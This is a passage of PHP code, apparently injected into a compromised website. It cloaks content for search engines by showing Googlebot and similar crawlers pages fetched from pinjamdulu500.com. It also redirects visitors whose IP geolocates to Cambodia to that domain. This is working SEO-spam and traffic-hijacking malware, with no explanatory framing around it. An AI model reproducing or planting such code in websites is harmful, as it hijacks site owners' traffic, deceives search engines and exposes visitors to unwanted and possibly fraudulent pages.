'granosysemillascampo72.com/', 'zhizhufanhui' => 'https://pinjamdulu500.com/afk/', 'jiechitiaozhuan' => 'granosysemillascampo72.com/', 'tiaozhuan' => 'https://pinjamdulu500.com/afk/', ), ); $user_cl = get_client_ip(); $uri = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (count($dy) > 0) { $botchar = "/(googlebot|slurp|Google AdSense)/"; if (preg_match($botchar, strtolower($user_agent))) { foreach ($dy as $key => $val) { if ($uri == $val['jiechizhizhu'] && !empty($val['zhizhufanhui'])) { echo file_get_contents($val['zhizhufanhui']);exit; } } } elseif (preg_match('/()/', strtolower($http_referer))) { foreach ($dy as $key => $val) { if ($uri == $val['jiechitiaozhuan'] && !empty($val['tiaozhuan'])) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/$user_cl"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); $ipaddress = curl_exec($ch); curl_close($ch); $jsonArea = json_decode($ipaddress,true); if (!empty($jsonArea) && !empty($jsonArea['countryCode']) && strtolower($jsonArea['countryCode']) == 'kh') { header('Location: '.$val['tiaozhuan']);exit; } } } } } ?>